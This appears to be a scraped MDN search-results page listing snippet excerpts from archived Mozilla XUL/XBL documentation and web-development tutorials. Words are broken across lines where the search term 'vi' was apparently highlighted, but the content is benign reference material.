Example Sticky Notes - Archive of obsolete content
view this example <!doctype html public "-//w3c//dtd html 4.01//en" "http://www.w3.org/tr/html401/strict.dtd"> <html> <head> <title>xbl demo : sticky notes</title> <meta http-equiv="content-type" content="text/html; charset=iso-8859-1"> <style type="text/css"> body { background-color: #ffffff; color: #000000; font: 1em verdana, sans-serif; } h1 { font-size: 1.5em; } /* binding: */ .sticker { -moz-binding: url(notes.xml#default); } </style> </head> <body> <h1><a href="http://developer.mozilla.org/en/docs/xbl:xbl_1.0_reference">xbl</a> demo : sticky notes</h1> <div class="sticker"><p>acme, inc.
...you add a binding file using -moz-binding style rule and you address a particular binding by its id: -moz-binding: url(notes.xml#default) this id is local within the binding file (not
visible in the target document dom tree).
... */ "normal"; ]]></field> <property name="innertext"> <!-- new "
virtual" property for the bound element.
...And 3 more matches
Accessing Files - Archive of obsolete content
file and stream guide: [ nsiscriptableio | accessing files | getting file information | reading from files | writing to files | mo
ving, copying and deleting files | uploading and downloading files | working with directories ] important note: the pages from the file and stream guide use the io object (nsiscriptableio), which was not available in any released version of the platform (pending some fixes).
...retrie
ving a file when working with files, usage is always done
via a file object and not
via string paths.
...var file = io.getfile("profile", "sample.txt"); the nsiscriptableio object is a global object always available within an application or extension which pro
vides a number of useful functions for dealing with files.
...And 3 more matches
IO - Archive of obsolete content
file and stream guide: [ nsiscriptableio | accessing files | getting file information | reading from files | writing to files | mo
ving, copying and deleting files | uploading and downloading files | working with directories ] important note: the pages from the file and stream guide use the io object (nsiscriptableio), which was not available in any released version of the platform (pending some fixes).
...a file is accessed
via a file object.
...it pro
vides a number of useful functions for dealing with files.
...And 3 more matches
List of commands - Archive of obsolete content
on): cmd_copy - copy a selection to the clipboard cmd_cut - cut a selection into the clipboard cmd_paste - paste a selection from the clipboard cmd_selectall cmd_selectnone cmd_copylink cmd_copyimagelocation cmd_copyimagecontents cmd_scrolltop cmd_scrollbottom cmd_scrollpageup cmd_scrollpagedown cmd_scrolllineup cmd_scrolllinedown cmd_scrollleft cmd_scrollright cmd_selectcharpre
vious cmd_selectcharnext cmd_wordpre
vious cmd_wordnext cmd_selectwordpre
vious cmd_selectwordnext cmd_beginline cmd_endline cmd_selectbeginline cmd_selectendline cmd_selectlinepre
vious cmd_selectlinenext cmd_selectpagepre
vious cmd_selectpagenext cmd_selectmovetop cmd_selectmovebottom editor commands (legal when the focus is anywhere where you can type text): cmd_paste - paste a se...
...lection from the clipboard cmd_pastequote cmd_delete cmd_deletecharbackward cmd_deletecharforward cmd_deletewordbackward cmd_deletewordforward cmd_deletetobeginningofline cmd_deletetoendofline cmd_scrolltop cmd_scrollbottom cmd_movetop cmd_movebottom cmd_selecttop cmd_selectbottom cmd_linenext cmd_linepre
vious cmd_selectlinenext cmd_selectlinepre
vious cmd_charpre
vious cmd_charnext cmd_selectcharpre
vious cmd_selectcharnext cmd_beginline cmd_endline cmd_selectbeginline cmd_selectendline cmd_wordpre
vious cmd_wordnext cmd_selectwordpre
vious cmd_selectwordnext cmd_scrollpageup cmd_scrollpagedown cmd_scrolllineup cmd_scrolllinedown cmd_movepageup cmd_movepagedown cmd_selectpageup cmd_selectpagedown other commands the following list other commands (prefixed ...
...by cmd_ or browser:) which have not been categorized here yet (though they are in the alphabetical list below): http://lxr.mozilla.org/seamonkey/sou...baroverlay.xul http://lxr.mozilla.org/seamonkey/sou...t/na
vigator.js http://lxr.mozilla.org/seamonkey/sou...toroverlay.xul http://lxr.mozilla.org/seamonkey/sou...onaltoolbar.js http://lxr.mozilla.org/seamonkey/sou...rceoverlay.xul http://lxr.mozilla.org/seamonkey/sou...extoverlay.xul http://lxr.mozilla.org/seamonkey/sou...lityoverlay.js http://lxr.mozilla.org/seamonkey/sou...oomoverlay.xul http://lxr.mozilla.org/seamonkey/sou...toroverlay.xul http://lxr.mozilla.org/seamonkey/sou...ark.properties http://lxr.mozilla.org/seamonkey/sou...kmarks-temp.js http://lxr.mozilla.org/seamonkey/sou.../bookmarks.xml http://lxr.mozilla.org/seam...
...And 3 more matches
MenuButtons - Archive of obsolete content
for instance, in the following example, pressing the '
view' button will open a menu which allows the user to select from a set of radio menuitems.
... presumably, when one is selected, the application
view would be changed accordingly.
... <button type="menu" label="
view"> <menupopup> <menuitem label="icons" type="radio" name="
view"/> <menuitem label="list" type="radio" name="
view"/> <menuitem label="details" type="radio" name="
view"/> </menupopup> </button> note that when the menu is closed, the button doesn't indicate which
view is selected.
...And 3 more matches
Popup Guide - Archive of obsolete content
popup types xul pro
vides a number of different types of elements which may be used to create popup menus or other types of popup widgets, which vary based on the manner in which they are attached to an element and the manner in which they are opened.
... a brief over
view of each type is listed here; more details for each type can be found by following the corresponding links.
...it displays items in a list, can display submenus, and pro
vides keyboard na
vigation between the items.
...And 3 more matches
Containment Properties - Archive of obsolete content
« pre
viousnext » so far, we've seen how the simple query syntax can generate results from the children of an rdf container.
...the only difference between this and the pre
vious example is a a couple of additional lines added to the rdf/xml: <rdf:seq rdf:about="http://www.xulplanet.com/rdf/a"> <rdf:li rdf:resource="http://www.xulplanet.com/rdf/e"/> <rdf:li rdf:resource="http://www.xulplanet.com/rdf/f"/> </rdf:seq> the effect is that there are five results instead of three.
... three generated
via the use of the containment attribute, and two generated because the starting resource is a container with two children.
...And 3 more matches
Simple Example - Archive of obsolete content
« pre
viousnext » let's look a more useful example, this time for a template that will show a list of photos.
...unlike pre
vious examples where we iterated over a property to na
vigate the graph, here we want to iterate over the children of an rdf container.
...this will be the starting point of the na
vigation.
...And 3 more matches
Sorting Results - Archive of obsolete content
« pre
viousnext » when results are generated from a query, content is generated in the same order as the results.
...this method of sorting a seq works best for the simple query syntax since it is ob
vious how the starting ref relates to the end member results (they are just the children), or for extended syntax queries that follow a similar pattern.
... for more complex queries, this natural sorting will not work, because the sort ser
vice assumes that the starting ref resource is the container and the end results are the children.
...And 3 more matches
Custom toolbar button - Archive of obsolete content
you can use the sample code pro
vided here to make buttons that do various useful things.
...your operating system normally pro
vides them: a way to create and work with files and directories a text editor for plain text files character encoding some text editors have a setting for character encoding.
... from firefox's menu bar, choose
view – character encoding – unicode (utf-8).
...And 3 more matches
Adding Event Handlers to XBL-defined Elements - Archive of obsolete content
« pre
viousnext » next, we'll find out how to add event handlers to xbl-defined elements.
...the last example in the pre
vious section demonstrated this.
...the pre
vious example could be extended so that the checked property of the check box is changed when the space bar is pressed.
...And 3 more matches
Adding Labels and Images - Archive of obsolete content
« pre
viousnext » this section describes a way to add labels and images to a window.
...an example is shown below: example 1 : source
view <label value="this is some text"/> the value attribute can be used to specify the text that you wish to have displayed.
...example 3 : source
view <label value="click here:" control="open-button"/> <button id="open-button" label="open"/> in the example above, clicking the label will cause the button to be focused.
...And 3 more matches
Anonymous Content - Archive of obsolete content
« pre
viousnext » in this section we'll look at creating content with xbl.
...mechanisms are pro
vided for adding attributes to the inner elements that were specified on the outer element.
...if you place child elements inside the xul, they will override the elements pro
vided by the binding.
...And 3 more matches
Content Panels - Archive of obsolete content
« pre
viousnext » in this section, we'll look at how to add panels that can display html pages or other xul files.
... iframe example example 1 : source
view <toolbox> <toolbar id="nav-toolbar"> <toolbarbutton label="back" /> <toolbarbutton label="forward" /> <textbox id="urlfield" /> </toolbar> </toolbox> <iframe id="content-body" src="http://www.mozilla.org/index.html" flex="1" /> the example here has created a very simple interface for a web browser.
...a similar element, tabbrowser, pro
vides the functionality of browser but also pro
vides a tab bar for switching between multiple pages.
...And 3 more matches
Creating Dialogs - Archive of obsolete content
« pre
viousnext » a xul application will often require dialogs to be displayed.
... note: opendialog() requires universalbrowserwrite pri
vilege.
...it pro
vides the useful ability to construct up to four buttons along the bottom of the dialog forok,cancel, and so on.
...And 3 more matches
Scrolling Menus - Archive of obsolete content
« pre
viousnext » this section will describe scrolling menus and how to use the mechanism with other elements.
...mozilla will pro
vide a scrolling mechanism that will allow you to scroll through the items.
...note that the exact beha
vior of the scrolling will depend on the current theme.
...And 3 more matches
XUL element attributes - Archive of obsolete content
it is equivalent to setting the css
visibility property to collapse.
...this composite datasource is accesssible
via a script through the database property.
...once the default sizes of elements in a box are calculated, the remaining space in the box is di
vided among the flexible elements, according to their flex ratios.
...And 3 more matches
menulist - Archive of obsolete content
visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state.
...be aware, however, that some elements, such as textbox will display the value
visually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable).
... for user editable menulist elements, the contents, as
visible to the user, are read and set using the menulist.value syntax.
...And 3 more matches
menupopup - Archive of obsolete content
<menupopup id="clipmenu"> <menuitem label="cut"/> <menuitem label="copy"/> <menuitem label="paste"/> </menupopup> <label value="right click for popup" context="clipmenu"/> attributes ignorekeys type: boolean if true, keyboard na
vigation between items in the popup is disabled.
...you wouldn't normally need to use this property as all of its functions are available
via the popup itself.
...four values are possible: closed: the popup is closed and not
visible.
...And 3 more matches
radio - Archive of obsolete content
attributes accesskey, command, crop, disabled, focused, group, image, label, selected, tabindex, value properties accesskey, accessibletype, control, crop, disabled, image, label, radiogroup, selected, tabindex, value examples <radiogroup> <radio id="orange" label="red" accesskey="r"/> <radio id="
violet" label="green" accesskey="g" selected="true"/> <radio id="yellow" label="blue" accesskey="b" disabled="true"/> </radiogroup> attributes accesskey type: character this should be set to a character that is used as a shortcut key.
...
visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state.
...be aware, however, that some elements, such as textbox will display the value
visually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable).
...And 3 more matches
richlistitem - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] an indi
vidual item in a richlistbox.
...
visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state.
...be aware, however, that some elements, such as textbox will display the value
visually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable).
...And 3 more matches
window - Archive of obsolete content
without including the css file at "chrome://global/skin/", the window will not be stylized and will be in
visible and glitchy when opened as a dialog.
... chromemargin type: margin string controls the amount of chrome that should be
visible on each side of the window.
... values for window type as found on mxr: http://mxr.mozilla.org/mozilla-release/search?string=windowtype na
vigator:browser - looks like if window has gbrowser it has this window type devtools:scratchpad - scratchpad windows na
vigator:
view-source - the
view source windows properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwi...
...And 3 more matches
XUL - Archive of obsolete content
xul controls lists some of the common controls pro
vided by xul.
...they pro
vide a powerful mechanism for extending and customizing existing xul applications.
... xul periodic table this collection of xul demos used to be available as a web page, but can no longer be
viewed in firefox since support for remote xul was disabled.
...And 3 more matches
MacFAQ - Archive of obsolete content
(note this document has not been re
viewed for accuracy or completeness.) special build notes enable libxul.
...opening your application for ordinary work, you can just na
vigate
via finder to /applications/(vendor)/(name).app and open the application.
...the toolkit will automatically enable this beha
vior if you add class="chromeclass-toolbar" to your <toolbar> element.
...And 3 more matches
XUL Explorer - Archive of obsolete content
xul explorer is a xulrunner application that pro
vides an easy way to experiment with xul.
... it’s a simple editor that can pre
view xul inline or in a separate popup window.
...the help menu pro
vides access to xul information on mdc.
...And 3 more matches
The First Install Problem - Archive of obsolete content
this is an old working document; see en/gecko_plugin_api_reference/plug-in_development_over
view for current information.
...the solution suggests that plugin vendors ought to leave dlls on a windows desktop whether or not a netscape gecko browser is detected, and then write keys in the windows registry gi
ving future netscape gecko browsers the path where the plugin resides and meta-information about how to load the plugin.
...on windows xp and windows 2000, in order to write to the registry, sometimes the software may need administrator pri
vileges.
...And 3 more matches
CSS - Archive of obsolete content
normally, a <xul:stack> will change its size so that all of its child elements are completely
visible.
... for example, mo
ving a child of the stack far to the right will widen the stack so the child remains
visible.-moz-text-blinkthe -moz-text-blink non-standard mozilla css extension specifies the blink mode.-moz-window-shadowthe -moz-window-shadow css property specifies whether a window will have a shadow.
...erator css property is a microsoft extension that sets or retrieves a string indicating whether the object represents a keyboard shortcut.-ms-block-progressionthe -ms-block-progression css property is a microsoft extension that specifies the block progression and layout orientation.-ms-content-zoom-chainingthe -ms-content-zoom-chaining css property is a microsoft extension specifying the zoom beha
vior that occurs when a user hits the zoom limit during page manipulation.-ms-content-zoom-limitthe -ms-content-zoom-limit css shorthand property is a microsoft extension that specifies values for the -ms-content-zoom-limit-min and -ms-content-zoom-limit-max properties.-ms-content-zoom-limit-maxthe -ms-content-zoom-limit-max css property is a microsoft extension that specifies the selected elements'...
...And 3 more matches
ActiveXObject - Archive of obsolete content
syntax let newobj = new activexobject(servername.typename[, location]) parameters servername the name of the application pro
viding the object.
... remarks automation servers pro
vide at least one type of object.
... for example, a word-processing application may pro
vide an application object, a document object, and a toolbar object.
...And 3 more matches
Styling the Amazing Netscape Fish Cam Page - Archive of obsolete content
i was pri
vileged enough to have that chance recently: i was asked to redesign the amazing netscape fish cam page for a new millennium.
... gi
ving the fish some style with the markup all set, it was time to style.
... getting the image back on top of the heading turned out to be a matter of relatively positioning the floated image, and then gi
ving it a z-index value.
...And 3 more matches
Writing JavaScript for XHTML - Archive of obsolete content
the recei
ving browser considers the content to be html, and does not utilise its xml parser.
...(rather than displaying content, it would present the user with a file download dialog.) but it is also founded in the experience that javascript, authored carefully for html, can break when placed with an xml en
vironment.
... (note that xhtml documents which behave correctly in both application/xhtml+xml and text/html en
vironments are sometimes known as 'polyglot' documents.) to test the following examples locally, use firefox's extension switch.
...And 3 more matches
Implementation Status - Archive of obsolete content
specification chapter index here we give an over
view of xforms 1.1 specification chapters and the current status of the mozilla support.
...orms-rebuild supported 4.3.2 xforms-recalculate supported 4.3.3 xforms-revalidate supported 4.3.4 xforms-refresh supported 4.3.5 xforms-reset supported 4.3.6 xforms-next xforms-pre
vious supported 4.3.7 xforms-focus supported 4.3.8 xforms-help xforms-hint supported 4.3.9 xforms-submit partial see section 11.2 for more details 4.3.10 xforms-submit-serialize supported 4.
... 4.6.6 sequence: selection without value change supported 4.6.7 sequence: value change with focus change supported 4.6.8 sequence: activating a trigger supported 4.6.9 sequence: submission supported 4.7 resol
ving id references in xforms unsupported 4.7.1 references to elements within a repeat element unsupported 4.7.2 references to elements within a bind element unsupported 4.8 dom interface for access to instance data supported 4.8.1 ...
...And 3 more matches
XForms - Archive of obsolete content
xforms essentials an online book gi
ving you a guided tour of xforms.
... xforms were en
visioned as the future of online forms as en
visioned by the w3c.
...other strengths that xforms brings to the table is the separation of data from presentation, strong data typing, the ability to submit xml data to servers instead of name/value pairs, and a descriptive way to author forms so that they can be displayed by a wide variety of de
vices.
...And 3 more matches
Explaining basic 3D theory - Game development
a vertex is a point in space ha
ving its own 3d position in the coordinate system and usually some additional information that defines it.
... vertex processing vertex processing is about combining the information about indi
vidual vertices into primitives and setting their coordinates in the 3d space for the
viewer to see.
...then there's
view transformation which takes care of positioning and setting the orientation of the camera in the 3d space.
...And 3 more matches
Building up a basic demo with PlayCanvas editor - Game development
this can be a more pleasant working en
vironment if you are not someone who likes to code.
... creating an account the playcanvas editor is free — all you have to do to begin with is register your account and login: when you first sign up, you are taken straight into the editor and given a simple starter tutorial invol
ving editing a 3d rolling ball game.
...you can do this by gi
ving it an x position value of -2.
...And 3 more matches
Desktop mouse and keyboard controls - Game development
pre
vious over
view: control mechanisms next now when we have our mobile controls in place and the game is playable on touch-enabled de
vices, it would be good to add mouse and keyboard support, so the game can be playable also on desktop.
... it's also easier to test control-independent features like gameplay on desktop if you develop it there, so you don't have to push the files to a mobile de
vice every time you make a change in the source code.
... it's useful to pro
vide an option to play the game on desktop without using a mouse, so you don't have to take your hands off the keyboard.
...And 3 more matches
Implementing game control mechanisms - Game development
one of html5's main advantages as a game development platform is the ability to run on various platforms and de
vices.
... streamlining cross de
vice differences creates multiple challenges, not least when pro
viding appropriate controls for different contexts.
... in the following articles we will show how to implement various different control mechanisms for captain rogers to support different platforms — from touch on mobile, through keyboard/mouse/gamepad on desktop, to more unconventional ones like tv remote, shouting to or wa
ving your hand in front of the laptop, or squeezing bananas.
...And 3 more matches
Techniques for game development - Game development
optimizing startup performance how to make sure your game starts up quickly, smoothly, and without appearing to lock up the user's browser or de
vice.
... using webrtc peer-to-peer data channels in addition to pro
viding support for audio and
video communication, webrtc lets you set up peer-to-peer data channels to exchange text or binary data actively between your players.
... efficient animation for web games this article covers techniques and ad
vice for creating efficient animation for web games, with a slant towards supporting lower end de
vices such as mobile phones.
...And 3 more matches
Bounce off the walls - Game development
« pre
viousnext » this is the 3rd step out of 10 of the gamedev canvas tutorial.
... it is nice to see our ball mo
ving, but it quickly disappears from the screen, limiting the fun we can have with it!
...we need to check, on every frame, whether the ball is touching the top edge of the canvas — if yes, we'll reverse the ball movement so it will start to move in the opposite direction and stay within the
visible boundaries.
...And 3 more matches
Client hints - MDN Web Docs Glossary: Definitions of Web-related terms
client hints are a set of http request header fields for proactive content negotiation allowing clients to indicate a list of de
vice and agent specific preferences.
... accept-ch: dpr, width,
viewport-width, downlink and / or <meta http-equiv="accept-ch" content="dpr, width,
viewport-width, downlink"> when a client receives the accept-ch header, if supported, it appends client hint headers that match the advertised field-values.
... for example, based on accept-ch example above, the client could append dpr, width,
viewport-width, and downlink headers to all subsequent requests.
...And 3 more matches
Screen reader - MDN Web Docs Glossary: Definitions of Web-related terms
screen readers are software applications that attempt to convey what is seen on a screen display in a non-
visual way, usually as text to speech, but also into braille or sound icons.
... screen readers are essential to people who are blind, as well as useful to people who are
visually impaired, illiterate, or have a learning disability.
... in terms of web accessibility, most user agents pro
vide an accessibility object model and screen readers interact with dedicated accessibility apis, using various operating system features and employing hooking techniques.
...And 3 more matches
How does the Internet work? - Learn web development
active learning how the internet works in 5 minutes: a 5 minute
video to understand the very basics of internet by aaron titus.
...detailed well
visualized 8 minute
video.
...this modem turns the information from our network into information manageable by the telephone infrastructure and
vice versa.
...And 3 more matches
Common questions - Learn web development
this section of the learning area is designed to pro
vide answers to common questions that may come up, which are not necessarily part of the structured core learning pathways (e.g.
...they pro
vide a human-readable address for any web server available on the internet.
... in this article we explain which software components you need to edit, upload, or
view a website.
...And 3 more matches
Front-end web developer - Learn web development
here we pro
vide you with a structured course that will teach you all you need to know to become a front-end web developer.
... simply work through each section, learning new skills (or impro
ving existing ones) as you go along.
... prerequisites you don't need any pre
vious knowledge to start this course.
...And 3 more matches
How the Web works - Learn web development
pre
vious over
view: getting started with the web how the web works pro
vides a simplified
view of what happens when you
view a webpage in a web browser on your computer or phone.
...a simplified diagram of how they interact might look like this: clients are the typical web user's internet-connected de
vices (for example, your computer connected to your wi-fi, or your phone connected to your mobile network) and web-accessing software available on those de
vices (usually a web browser like firefox or chrome).
...when a client de
vice wants to access a webpage, a copy of the webpage is downloaded from the server onto the client machine to be displayed in the user's web browser.
...And 3 more matches
General asynchronous programming concepts - Learn web development
over
view: asynchronous next in this article, we'll run through a number of important concepts relating to asynchronous programming, and how this looks in web browsers and javascript.
...it is up to the programming en
vironment you are using (web browsers, in the case of web development) to pro
vide you with apis that allow you to run such tasks asynchronously.
... note: the pre
vious example is very unrealistic.
...And 3 more matches
Storing the information you need — Variables - Learn web development
pre
vious over
view: first steps next after reading the last couple of articles you should now know what javascript is, what it can do for you, how you use it alongside other web technologies, and what its main features look like from a high level.
...this is ob
viously really inefficient (the code is a lot bigger, even for only five choices), and it just wouldn't work — you couldn't possibly store all possible choices.
... you can test whether these values now exist in the execution en
vironment by typing just the variable's name, e.g.
...And 3 more matches
What went wrong? Troubleshooting JavaScript - Learn web development
pre
vious over
view: first steps next when you built up the "guess the number" game in the pre
vious article, you may have found that it didn't work.
... never fear — this article aims to save you from tearing your hair out over such problems by pro
viding you with some tips on how to find and fix errors in javascript programs.
... types of error generally speaking, when you do something wrong in code, there are two main types of error that you'll come across: syntax errors: these are spelling errors in your code that actually cause the program not to run at all, or stop working part way through — you will usually be pro
vided with some error messages too.
...And 3 more matches
CSS performance optimization - Learn web development
pre
vious over
view: performance next painting an unstyled page, and then repainting it once styles are parsed would be bad user experience.
...some elements, including <
video>, <canvas> and <iframe>, are also on their own layer.
... will-change property the css will-change property tells browsers which properties of an element are expected to change enabling browsers to set up optimizations before the element is actually changed, impro
ving performance by doing potentially expensive work before it is required.
...And 3 more matches
Using Vue computed properties - Learn web development
pre
vious over
view: client-side javascript frameworks next in this article we'll add a counter that displays the number of completed todo items, using a feature of vue called computed properties.
...this can be useful for users, while also ser
ving to label the list for assistive technology.
... to create a computed property, we need to add a computed property to our component object, much like the methods property we've used pre
viously.
...And 3 more matches
Creating our first Vue component - Learn web development
pre
vious over
view: client-side javascript frameworks next now it's time to dive deeper into vue, and create our own custom component — we'll start by creating a component to represent each item in the todo list.
... along the way, we'll learn about a few important concepts such as calling components inside other components, passing data to them
via props, and sa
ving data state.
... gi
ving todos a unique id great!
...And 3 more matches
Styling Vue components with CSS - Learn web development
pre
vious over
view: client-side javascript frameworks next the time has finally come to make our app look a bit nicer.
... add the following contents to the reset.css file: /*reset.css*/ /* resets */ *, *::before, *::after { box-sizing: border-box; } *:focus { outline: 3px dashed #228bec; } html { font: 62.5% / 1.15 sans-serif; } h1, h2 { margin-bottom: 0; } ul { list-style: none; padding: 0; } button { border: none; margin: 0; padding: 0; width: auto; overflow:
visible; background: transparent; color: inherit; font: inherit; line-height: normal; -webkit-font-smoothing: inherit; -moz-osx-font-smoothing: inherit; -webkit-appearance: none; } button::-moz-focus-inner { border: 0; } button, input, optgroup, select, textarea { font-family: inherit; font-size: 100%; line-height: 1.15; margin: 0; } button, input { /* 1 */ overflow:
visi...
...ace-between; } .btn-group > * { flex: 1 1 auto; } .btn-group > * + * { margin-left: 0.8rem; } .label-wrapper { margin: 0; flex: 0 0 100%; text-align: center; } [class*="__lg"] { display: inline-block; width: 100%; font-size: 1.9rem; } [class*="__lg"]:not(:last-child) { margin-bottom: 1rem; } @media screen and (min-width: 620px) { [class*="__lg"] { font-size: 2.4rem; } } .
visually-hidden { position: absolute; height: 1px; width: 1px; overflow: hidden; clip: rect(1px 1px 1px 1px); clip: rect(1px, 1px, 1px, 1px); clip-path: rect(1px, 1px, 1px, 1px); white-space: nowrap; } [class*="stack"] > * { margin-top: 0; margin-bottom: 0; } .stack-small > * + * { margin-top: 1.25rem; } .stack-large > * + * { margin-top: 2.5rem; } @media screen and (min-widt...
...And 3 more matches
Links and Resources
webxact™ from watchfire® corporation webxact™ is a free and complete online accessibility validation ser
vice that can test single pages for quality, accessibility and privacy issues.
... cynthia says™ from hisoftware® company "cynthia says™" is a free online webpage accessibility validation ser
vice that identifies accessibility errors in webpage related to section 508 standards and/or the wcag guidelines.
... wave 3.0 (web accessibility versatile evaluator) from webaim and sponsored by temple university institute on disabilities wave 3.0 is another powerful, mature, free online webpage accessibility validation ser
vice that identifies accessibility errors and reports accessibility warnings about webpage related to section 508 standards and/or the wcag guidelines.
...And 3 more matches
Index
the content you add to a listing is therefore
vital: from making effective use of keywords in your descriptions, to get
visibility in external search engine results, through ha
ving an icon that attracts a user’s attention from a category list, to screenshots that show how useful your add-on is.
... 676 index add-ons, glossary, guide, index found 689 pages: 677 signing and distributing your add-on add-ons, extensions, webextensions, distribution, publication, re
views, signing add-ons need to be signed before they can be installed into release and beta versions of firefox.
... 683 source code submission add-ons, extensions, re
view policy, distribution to complete the re
view process at addons.mozilla.org (amo), re
viewers must be able to read the code in your extension.
...And 3 more matches
Adding a new CSS property
see the gecko over
view for more information about the style system.
... (again, see the gecko over
view for more information.) it should generally be grouped with related properties.
... but don't use nsstylecoord if you only need a single type that nsstylecoord pro
vides.
...And 3 more matches
ESLint
in order to help people write standard-compliant code from the start and avoid wasting time during code re
views, a set of eslint configuration files have been added to the code base so that javascript can be analyzed automatically.
...meeting these rules before re
view will help reduce the amount of re
view time, and the re
visions necessary to have a re
view granted.
... setting up eslint ./mach eslint --setup running eslint eslint can be run
via: ./mach lint -l eslint you can limit running it to a specific directory with: ./mach lint -l eslint browser/components or work directory changes: ./mach lint -l eslint -w or outgoing commits only: ./mach lint -l eslint -o see ./mach eslint --help for more options when running eslint.
...And 3 more matches
Inner and outer windows
consider that when the user is looking at a document in a browser window, not only can the document the user is currently
viewing change, but the document's contents can change.
...windows and the bfcache an outer window is a browsing context; that is, the actual en
vironment in which a document is presented to the user.
...an inner window represents the actual content being displayed; it's the current
view of what the user sees.
...And 3 more matches
Interface Compatibility
the mozilla platform is constantly evol
ving.
...web content apis which are
visible to web content are not modified, except as a last resort when inherent security vulnerabilities or incompatibility with other browsers make it the only option.
... any changes, including new features, must have super-re
view.
...And 3 more matches
Roll your own browser: An embedding how-to
like that isn't totally ob
vious, nonetheless it has to be done.
... linux external projects sashxb: ibm uses mozilla to implement part of their sash development/desktop en
vironment.
... activestate's komodo: development en
vironment, based on mozilla's xul.
...And 3 more matches
Gecko Keypress Event
this beha
vior helps the internationalization of web applications that have custom shortcut keys.
... if the os-pro
vided character cannot be entered without using the ctrl key, then, gecko does not replace the character.
... if the character pro
vided by the keyboard layout cannot be entered without ctrl key, then, gecko does not replace the character (as on windows).
...And 3 more matches
Internationalized Domain Names (IDN) Support in Mozilla Browsers
for the past few years, there have been a flurry of ietf acti
vities to standardize the protocols involved in domain names to handle non-ascii characters.
... how idn works when a browser sees a host name such as http://developer.mozilla.org, it passes a request to the dns resolver ser
vice (usually built into an os), which in turn sends a request to a nearest domain name server to return an ip address that corresponds to the host name.
... how mozilla browsers handle non-ascii domain names unicode and nameprep when mozilla receives idn input from the user
via the location bar or a request to process non-ascii host name links, it first turns them into unicode, then normalizes the input string to make it conform to general uri requirement.
...And 3 more matches
JavaScript-DOM Prototypes in Mozilla
|.__proto__ | object.prototype | |.__proto__ | null if you have an instance of a htmldivelement in javascript, the following will hold true: div.__proto__ === htmldivelement.prototype which means that the following should also be true: div.__proto__ === div.constructor.prototype non standard no browser is required to pro
vide modifiable __proto__, nor a global node, nor pro
vide any way to get at host objects nor their associated prototypes.
... if such objects are pro
vided, they are not guaranteed by any specification to have any effect on the en
vironment.
...this will cause the code to recurse down along the parent chain of the interface of interest for the name we started out resol
ving (i.e.
...And 3 more matches
Add-on Repository
the add-on repository is responsible for finding available add-ons; it pro
vides an interface for interacting with the addons.mozilla.org (amo) site.
... its api pro
vides urls that can be
visited to browse the repository's add-ons.
... these searches are asynchronous; results are passed to the pro
vided searchcallback object when the search is completed.
...And 3 more matches
Download
method over
view promise start(); promise launch(); promise showcontainingdirectory(); promise cancel(); promise removepartialdata(); promise whensucceeded(); promise finalize([optional] boolean aremovepartialdata); properties attribute type description canceled read only boolean indicates that the download has been canceled.
... this property may be populated or changed while the download is in progress, using the mime type pro
vided by the server.
... you should use the indi
vidual state properties instead, since this value may not be updated after the last piece of data is transferred.
...And 3 more matches
Interfacing with the Add-on Repository
this article pro
vides some sample code that queries the recommended add-ons list on amo and lets the user click a button to install an add-on from the list.
... importing the repository code module before you can use the add-on repository api, you need to import the code module: components.utils.import("resource://gre/modules/addonrepository.jsm"); ha
ving done this, you can then access the api through the resulting addonrepository object.
...to make the ser
vice work for the time being, you can use code like this when your extension starts up: var prefsser
vice = components.classes["@mozilla.org/preferences-ser
vice;1"] .getser
vice(components.interfaces.nsiprefser
vice); var prefbranch = prefsser
vice.getbranch("extensions."); var recurl = ""; try { recurl = prefbranch.getcharpref("getaddons.recommended.url"); } catch(e) { recurl = ""; } if (recurl == "") { prefbranch.setcharpref("getaddons.recommended.url", "https://ser
vices.addons.mozilla.org/%locale%/%app%/api...
...And 3 more matches
Examples
using a promise returned by a function (compact) the same code as the pre
vious example is usually written with a more compact syntax: components.utils.import("resource://gre/modules/osfile.jsm") let path = os.path.join(os.constants.path.tmpdir, "file.txt"); os.file.exists(path).then(exists => { console.log(exists ?
..."you have .mozconfig in " + currentdir : "you don't have .mozconfig in " + currentdir); }); }).then(null, components.utils.reporterror); parallel promise (this example needs more work) so when chaining promises, consequent promises run after the pre
vious promise completes.
...efinedpromise(); mypromise.then( function(asuccessreason) { alert('mypromise was succesful and reason was = "' + asuccessreason + '"'); }, function(arejectreason) { alert('mypromise failed for reason = "' + uneval(arejectreason) + '"'); } ); function myuserdefinedpromise() { try { var mysubpromises = []; var imagepaths = ['http://www.mozilla.org/media/img/firefox/fa
vicon.png', 'https://developer.cdn.mozilla.net/media/redesign/img/fa
vicon32.png']; [].foreach.call(imagepaths, function(path) { let myimage = new image(); let loadthisimagepromise = promise.defer(); mysubpromises.push(loadthisimagepromise.promise); myimage.onload = function() { loadthisimagepromise.resolve('succesfully loaded image at path = "' + path + '" the wid...
...And 3 more matches
Mozilla MathML Project
for a quick over
view, see the slides for the innovation fairs at mozilla summit 2013.
... updates status of each tag result of the mathml 3 testsuite unofficial nightly builds with mathml patches applied (maintained by bill gianopoulos) more updates and archived content community
view mozilla forums...
... mailing list newsgroup rss feed irc channel wiki used by contributors - check out the latest developments and help us impro
ving mathml in mozilla.
...And 3 more matches
Patches and pushes
for references on how each tag functions,
visit the opensearch wiki page and the mozsearch wiki page.
...from the dropdown menu next to the re
view flag.
... this will display a text box to assign the re
view to someone.
...And 3 more matches
Leak And Bloat Tests
aim to pro
vide a continuous check within mailnews and its sub-components for the following items: total memory leaks.
... pro
